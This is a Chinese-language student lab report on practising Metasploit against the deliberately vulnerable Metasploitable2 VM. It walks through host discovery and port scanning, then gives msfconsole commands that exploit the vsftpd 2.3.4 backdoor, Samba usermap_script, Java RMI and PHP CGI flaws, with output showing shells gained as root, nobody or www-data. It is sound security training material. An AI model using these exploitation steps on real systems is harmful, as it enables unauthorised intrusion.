1. 实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
2. 实验过程
2.1 环境准备
- 攻击机:Kali Linux 2023.1(IP:192.168.239.130)
- 靶机:Metasploitable2(IP:192.168.239.131,通过 VMware 与 Kali 桥接)
2.2 前期渗透
2.2.1 主机发现
使用 Metasploit 内置的 arp_sweep 模块扫描局域网内存活主机:
msfconsole
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.239.0/24 # 靶机所在网段
run
结果:发现靶机 IP 为 192.168.239.131。
2.2.2 端口扫描
使用 Metasploit 的 portscan/tcp 模块扫描靶机开放端口:
search portscan/tcp
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.239.131
set PORTS 1-10000 # 扫描常见端口
run
结果:开放端口包括 21(FTP)、22(SSH)、80(HTTP)、139(Samba)、445(SMB)、1099(Java RMI)等。
2.2.3 系统/漏洞探测(选做)
使用 nmap 补充扫描系统版本和漏洞信息:
nmap -O -sV 192.168.239.131
结果:靶机为 Linux 2.6.x 内核,开放服务包括 Vsftpd 2.3.4、Samba 3.x、Apache 2.2.8 等。
2.3 漏洞利用实践
2.3.1 Vsftpd 源码包后门漏洞(21端口)
- 启动 Metasploit,搜索并选择漏洞模块:
msfconsole
search vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
- 配置目标 IP 并攻击:
set RHOST 192.168.239.131
exploit
- 验证权限:
uname -a # 显示 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
pwd # 显示 /
id # 显示 uid=0(root) gid=0(root) groups=0(root)
结果:成功获取 root 权限。
2.3.2 Samba MS-RPC Shell 命令注入漏洞(139端口)
- 选择漏洞模块并配置:
search usermap_script
use exploit/multi/samba/usermap_script
set RHOST 192.168.239.131
exploit
- 验证权限:
uname -a # 显示 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id # 显示 uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
结果:获取 nobody 权限 shell。
2.3.3 Java RMI Server 命令执行漏洞(1099端口)
- 确认 1099 端口开放后,选择漏洞模块:
search java_rmi_server
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.239.131
exploit
- 进入 meterpreter 会话并验证:
sessions -i 1 # 进入会话
shell
whoami # 显示 root
结果:成功获取 root 权限 meterpreter 会话。
2.3.4 PHP CGI 参数执行注入漏洞(80端口)
- 选择漏洞模块并攻击:
search php_cgi_arg_injection
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.239.131
exploit
- 验证权限:
uname -a # 显示 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id # 显示 uid=33(www-data) gid=33(www-data) groups=33(www-data)
结果:获取 www-data 权限 shell。